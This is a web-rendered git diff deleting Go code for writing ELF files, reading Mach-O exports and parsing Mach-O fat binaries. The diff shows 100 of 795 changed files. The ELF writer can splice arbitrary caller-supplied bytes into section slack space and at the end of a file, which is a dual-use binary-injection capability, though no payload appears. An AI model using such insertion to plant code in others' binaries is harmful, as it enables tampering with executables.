f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], uint32(rela.Addend))
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
-281
@@ -1,281 +0,0 @@
|
||||
package elf
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
)
|
||||
|
||||
// Bytes - returns the bytes of an Elf file
|
||||
func (elfFile *File) Bytes() ([]byte, error) {
|
||||
|
||||
bytesWritten := uint64(0)
|
||||
elfBuf := bytes.NewBuffer(nil)
|
||||
w := bufio.NewWriter(elfBuf)
|
||||
|
||||
// Write Elf Magic
|
||||
w.WriteByte('\x7f')
|
||||
w.WriteByte('E')
|
||||
w.WriteByte('L')
|
||||
w.WriteByte('F')
|
||||
bytesWritten += 4
|
||||
|
||||
// ident[EI_CLASS]
|
||||
w.WriteByte(byte(elfFile.Class))
|
||||
// ident[EI_DATA]
|
||||
w.WriteByte(byte(elfFile.Data))
|
||||
// ident[EI_VERSION]
|
||||
w.WriteByte(byte(elfFile.Version))
|
||||
// ident[EI_OSABI]
|
||||
w.WriteByte(byte(elfFile.OSABI))
|
||||
// ident[EI_ABIVERSION]
|
||||
w.WriteByte(byte(elfFile.ABIVersion))
|
||||
// ident[EI_PAD] ( 7 bytes )
|
||||
w.Write([]byte{0, 0, 0, 0, 0, 0, 0})
|
||||
bytesWritten += 12
|
||||
|
||||
// Type
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(elfFile.Type))
|
||||
// Machine
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(elfFile.Machine))
|
||||
// Version
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(elfFile.Version))
|
||||
bytesWritten += 8
|
||||
|
||||
phsize := 0
|
||||
|
||||
switch elfFile.Class {
|
||||
case ELFCLASS32:
|
||||
phsize = 0x20
|
||||
// Entry 32
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(elfFile.Entry))
|
||||
// PH Offset 32
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(0x34))
|
||||
// SH Offset 32 // 0x20 0x28 4 8 e_shoff Points to the start of the section header table.
|
||||
binary.Write(w, elfFile.ByteOrder, int32(elfFile.FileHeader.SHTOffset))
|
||||
// Flags
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(0)) // todo
|
||||
// EH Size
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(52))
|
||||
// PH Size // 0x2A 0x36 2 e_phentsize Contains the size of a program header table entry.
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(phsize))
|
||||
// PH Num // 0x2C 0x38 2 e_phnum Contains the number of entries in the program header table.
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(len(elfFile.Progs)))
|
||||
// SH Size // 0x2E 0x3A 2 e_shentsize Contains the size of a section header table entry.
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(0x28))
|
||||
bytesWritten += 24
|
||||
|
||||
case ELFCLASS64:
|
||||
phsize = 0x38
|
||||
// Entry 64
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(elfFile.Entry))
|
||||
// PH Offset 64
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(0x40))
|
||||
// SH Offset 64 // 0x20 0x28 4 8 e_shoff Points to the start of the section header table.
|
||||
binary.Write(w, elfFile.ByteOrder, int64(elfFile.FileHeader.SHTOffset))
|
||||
// Flags
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(0)) // I think right?
|
||||
// EH Size
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(64))
|
||||
// PH Size // 0x2A 0x36 2 e_phentsize Contains the size of a program header table entry.
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(phsize))
|
||||
// PH Num // 0x2C 0x38 2 e_phnum Contains the number of entries in the program header table.
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(len(elfFile.Progs)))
|
||||
// SH Size // 0x2E 0x3A 2 e_shentsize Contains the size of a section header table entry.
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(0x40))
|
||||
bytesWritten += 36
|
||||
}
|
||||
|
||||
// SH Num // 0x30 0x3C 2 e_shnum Contains the number of entries in the section header table.
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(len(elfFile.Sections)))
|
||||
// SH Str Ndx // 0x32 0x3E 2 e_shstrndx Contains index of the section header table entry that contains the section names.
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(elfFile.ShStrIndex))
|
||||
bytesWritten += 4
|
||||
|
||||
// Program Header
|
||||
for _, p := range elfFile.Progs {
|
||||
// Type (segment)
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(p.Type))
|
||||
bytesWritten += 4
|
||||
|
||||
switch elfFile.Class {
|
||||
case ELFCLASS32:
|
||||
// Offset of Segment in File
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(p.Off))
|
||||
|
||||
// Vaddr
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(p.Vaddr))
|
||||
|
||||
// Paddr
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(p.Paddr))
|
||||
|
||||
// File Size
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(p.Filesz))
|
||||
|
||||
// Memory Size
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(p.Memsz))
|
||||
|
||||
// Flags (segment)
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(p.Flags))
|
||||
|
||||
// Alignment
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(p.Align))
|
||||
|
||||
bytesWritten += 28
|
||||
|
||||
case ELFCLASS64:
|
||||
// Flags (segment)
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(p.Flags))
|
||||
|
||||
// Offset of Segment in File
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(p.Off))
|
||||
|
||||
// Vaddr
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(p.Vaddr))
|
||||
|
||||
// Paddr
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(p.Paddr))
|
||||
|
||||
// File Size
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(p.Filesz))
|
||||
|
||||
// Memory Size
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(p.Memsz))
|
||||
|
||||
// Alignment
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(p.Align))
|
||||
|
||||
bytesWritten += 52
|
||||
}
|
||||
}
|
||||
|
||||
sortedSections := elfFile.Sections[:]
|
||||
//sort.Slice(sortedSections, func(a, b int) bool { return elfFile.Sections[a].Link < elfFile.Sections[b].Link })
|
||||
for _, s := range sortedSections {
|
||||
|
||||
//log.Printf("Writing section: %s type: %+v\n", s.Name, s.Type)
|
||||
//log.Printf("written: %x offset: %x\n", bytesWritten, s.Offset)
|
||||
|
||||
if s.Type == SHT_NULL || s.Type == SHT_NOBITS || s.FileSize == 0 {
|
||||
//log.Println("continuing...")
|
||||
continue
|
||||
}
|
||||
|
||||
if bytesWritten > s.Offset {
|
||||
log.Printf("Overlapping Sections in Generated Elf: %+v\n", s.Name)
|
||||
continue
|
||||
}
|
||||
if s.Offset != 0 && bytesWritten < s.Offset {
|
||||
pad := make([]byte, s.Offset-bytesWritten)
|
||||
w.Write(pad)
|
||||
//log.Printf("Padding before section %s at %x: length:%x to:%x\n", s.Name, bytesWritten, len(pad), s.Offset)
|
||||
bytesWritten += uint64(len(pad))
|
||||
}
|
||||
|
||||
slen := 0
|
||||
switch s.Type {
|
||||
case SHT_DYNAMIC:
|
||||
for _, taggedValue := range elfFile.DynTags {
|
||||
//log.Printf("writing %d (%x) -> %d (%x)\n", taggedValue.Tag, taggedValue.Tag, taggedValue.Value, taggedValue.Value)
|
||||
switch elfFile.Class {
|
||||
case ELFCLASS32:
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(taggedValue.Tag))
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(taggedValue.Value))
|
||||
bytesWritten += 8
|
||||
case ELFCLASS64:
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(taggedValue.Tag))
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(taggedValue.Value))
|
||||
bytesWritten += 16
|
||||
}
|
||||
}
|
||||
default:
|
||||
section, err := ioutil.ReadAll(s.Open())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
binary.Write(w, elfFile.ByteOrder, section)
|
||||
slen = len(section)
|
||||
//log.Printf("Wrote %s section at %x, length %x\n", s.Name, bytesWritten, slen)
|
||||
bytesWritten += uint64(slen)
|
||||
}
|
||||
|
||||
// todo: elfFile.Insertion should be renamed InsertionLoadEnd or similar
|
||||
if s.Type == SHT_PROGBITS && len(elfFile.Insertion) > 0 && s.Size-uint64(slen) >= uint64(len(elfFile.Insertion)) {
|
||||
binary.Write(w, elfFile.ByteOrder, elfFile.Insertion)
|
||||
bytesWritten += uint64(len(elfFile.Insertion))
|
||||
}
|
||||
w.Flush()
|
||||
}
|
||||
|
||||
// Pad to Section Header Table
|
||||
if bytesWritten < uint64(elfFile.FileHeader.SHTOffset) {
|
||||
pad := make([]byte, uint64(elfFile.FileHeader.SHTOffset)-bytesWritten)
|
||||
w.Write(pad)
|
||||
//log.Printf("Padding before SHT at %x: length:%x to:%x\n", bytesWritten, len(pad), elfFile.FileHeader.SHTOffset)
|
||||
bytesWritten += uint64(len(pad))
|
||||
}
|
||||
|
||||
// Write Section Header Table
|
||||
|
||||
for _, s := range elfFile.Sections[:] {
|
||||
|
||||
switch elfFile.Class {
|
||||
case ELFCLASS32:
|
||||
binary.Write(w, elfFile.ByteOrder, &Section32{
|
||||
Name: s.Shname,
|
||||
Type: uint32(s.Type),
|
||||
Flags: uint32(s.Flags),
|
||||
Addr: uint32(s.Addr),
|
||||
Off: uint32(s.Offset),
|
||||
Size: uint32(s.Size),
|
||||
Link: s.Link,
|
||||
Info: s.Info,
|
||||
Addralign: uint32(s.Addralign),
|
||||
Entsize: uint32(s.Entsize)})
|
||||
case ELFCLASS64:
|
||||
binary.Write(w, elfFile.ByteOrder, &Section64{
|
||||
Name: s.Shname,
|
||||
Type: uint32(s.Type),
|
||||
Flags: uint64(s.Flags),
|
||||
Addr: s.Addr,
|
||||
Off: s.Offset,
|
||||
Size: s.Size,
|
||||
Link: s.Link,
|
||||
Info: s.Info,
|
||||
Addralign: s.Addralign,
|
||||
Entsize: s.Entsize})
|
||||
}
|
||||
}
|
||||
|
||||
// Do I have a PT_NOTE segment to add at the end?
|
||||
|
||||
if len(elfFile.InsertionEOF) > 0 {
|
||||
binary.Write(w, elfFile.ByteOrder, elfFile.InsertionEOF)
|
||||
bytesWritten += uint64(len(elfFile.InsertionEOF))
|
||||
}
|
||||
|
||||
w.Flush()
|
||||
return elfBuf.Bytes(), nil
|
||||
}
|
||||
|
||||
// WriteFile - Creates a new file and writes it using the Bytes func above
|
||||
func (elfFile *File) WriteFile(destFile string) error {
|
||||
f, err := os.Create(destFile)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer f.Close()
|
||||
elfData, err := elfFile.Bytes()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = f.Write(elfData)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
-3
@@ -1,3 +0,0 @@
|
||||
## More Info
|
||||
|
||||
More info on the Mach-O file structure here: [Mach-O Deep Dive](https://www.symbolcrash.com/2019/02/25/so-you-want-to-be-a-mach-o-man/)
|
||||
-27
@@ -1,27 +0,0 @@
|
||||
package macho
|
||||
|
||||
const N_SECT = 0x0E
|
||||
const N_PEXT = 0x10
|
||||
const N_EXT = 0x01
|
||||
|
||||
// Export - describes a single export entry (similar to PE version for future refactoring)
|
||||
type Export struct {
|
||||
//Ordinal uint32 // no ordinals for Mach-O
|
||||
Name string
|
||||
VirtualAddress uint64
|
||||
}
|
||||
|
||||
// Exports - gets exports, including private exports
|
||||
func (f *File) Exports() []Export {
|
||||
var exports []Export
|
||||
for _, symbol := range f.Symtab.Syms {
|
||||
if (symbol.Type&N_PEXT == N_PEXT ||
|
||||
symbol.Type&N_EXT == N_EXT) && symbol.Value != 0 {
|
||||
var export Export
|
||||
export.Name = symbol.Name
|
||||
export.VirtualAddress = symbol.Value
|
||||
exports = append(exports, export)
|
||||
}
|
||||
}
|
||||
return exports
|
||||
}
|
||||
-146
@@ -1,146 +0,0 @@
|
||||
// Copyright 2014 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package macho
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
)
|
||||
|
||||
// A FatFile is a Mach-O universal binary that contains at least one architecture.
|
||||
type FatFile struct {
|
||||
Magic uint32
|
||||
Arches []FatArch
|
||||
closer io.Closer
|
||||
}
|
||||
|
||||
// A FatArchHeader represents a fat header for a specific image architecture.
|
||||
type FatArchHeader struct {
|
||||
Cpu Cpu
|
||||
SubCpu uint32
|
||||
Offset uint32
|
||||
Size uint32
|
||||
Align uint32
|
||||
}
|
||||
|
||||
const fatArchHeaderSize = 5 * 4
|
||||
|
||||
// A FatArch is a Mach-O File inside a FatFile.
|
||||
type FatArch struct {
|
||||
FatArchHeader
|
||||
*File
|
||||
}
|
||||
|
||||
// ErrNotFat is returned from NewFatFile or OpenFat when the file is not a
|
||||
// universal binary but may be a thin binary, based on its magic number.
|
||||
var ErrNotFat = &FormatError{0, "not a fat Mach-O file", nil}
|
||||
|
||||
// NewFatFile creates a new FatFile for accessing all the Mach-O images in a
|
||||
// universal binary. The Mach-O binary is expected to start at position 0 in
|
||||
// the ReaderAt.
|
||||
func NewFatFile(r io.ReaderAt) (*FatFile, error) {
|
||||
var ff FatFile
|
||||
sr := io.NewSectionReader(r, 0, 1<<63-1)
|
||||
|
||||
// Read the fat_header struct, which is always in big endian.
|
||||
// Start with the magic number.
|
||||
err := binary.Read(sr, binary.BigEndian, &ff.Magic)
|
||||
if err != nil {
|
||||
return nil, &FormatError{0, "error reading magic number", nil}
|
||||
} else if ff.Magic != MagicFat {
|
||||
// See if this is a Mach-O file via its magic number. The magic
|
||||
// must be converted to little endian first though.
|
||||
var buf [4]byte
|
||||
binary.BigEndian.PutUint32(buf[:], ff.Magic)
|
||||
leMagic := binary.LittleEndian.Uint32(buf[:])
|
||||
if leMagic == Magic32 || leMagic == Magic64 {
|
||||
return nil, ErrNotFat
|
||||
} else {
|
||||
return nil, &FormatError{0, "invalid magic number", nil}
|
||||
}
|
||||
}
|
||||
offset := int64(4)
|
||||
|
||||
// Read the number of FatArchHeaders that come after the fat_header.
|
||||
var narch uint32
|
||||
err = binary.Read(sr, binary.BigEndian, &narch)
|
||||
if err != nil {
|
||||
return nil, &FormatError{offset, "invalid fat_header", nil}
|
||||
}
|
||||
offset += 4
|
||||
|
||||
if narch < 1 {
|
||||
return nil, &FormatError{offset, "file contains no images", nil}
|
||||
}
|
||||
|
||||
// Combine the Cpu and SubCpu (both uint32) into a uint64 to make sure
|
||||
// there are not duplicate architectures.
|
||||
seenArches := make(map[uint64]bool, narch)
|
||||
// Make sure that all images are for the same MH_ type.
|
||||
var machoType Type
|
||||
|
||||
// Following the fat_header comes narch fat_arch structs that index
|
||||
// Mach-O images further in the file.
|
||||
ff.Arches = make([]FatArch, narch)
|
||||
for i := uint32(0); i < narch; i++ {
|
||||
fa := &ff.Arches[i]
|
||||
err = binary.Read(sr, binary.BigEndian, &fa.FatArchHeader)
|
||||
if err != nil {
|
||||
return nil, &FormatError{offset, "invalid fat_arch header", nil}
|
||||
}
|
||||
offset += fatArchHeaderSize
|
||||
|
||||
fr := io.NewSectionReader(r, int64(fa.Offset), int64(fa.Size))
|
||||
fa.File, err = NewFile(fr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Make sure the architecture for this image is not duplicate.
|
||||
seenArch := (uint64(fa.Cpu) << 32) | uint64(fa.SubCpu)
|
||||
if o, k := seenArches[seenArch]; o || k {
|
||||
return nil, &FormatError{offset, fmt.Sprintf("duplicate architecture cpu=%v, subcpu=%#x", fa.Cpu, fa.SubCpu), nil}
|
||||
}
|
||||
seenArches[seenArch] = true
|
||||
|
||||
// Make sure the Mach-O type matches that of the first image.
|
||||
if i == 0 {
|
||||
machoType = fa.Type
|
||||
} else {
|
||||
if fa.Type != machoType {
|
||||
return nil, &FormatError{offset, fmt.Sprintf("Mach-O type for architecture #%d (type=%#x) does not match first (type=%#x)", i, fa.Type, machoType), nil}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return &ff, nil
|
||||
}
|
||||
|
||||
// OpenFat opens the named file using os.Open and prepares it for use as a Mach-O
|
||||
// universal binary.
|
||||
func OpenFat(name string) (*FatFile, error) {
|
||||
f, err := os.Open(name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ff, err := NewFatFile(f)
|
||||
if err != nil {
|
||||
f.Close()
|
||||
return nil, err
|
||||
}
|
||||
ff.closer = f
|
||||
return ff, nil
|
||||
}
|
||||
|
||||
func (ff *FatFile) Close() error {
|
||||
var err error
|
||||
if ff.closer != nil {
|
||||
err = ff.closer.Close()
|
||||
ff.closer = nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
Loaded 100 of 795 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user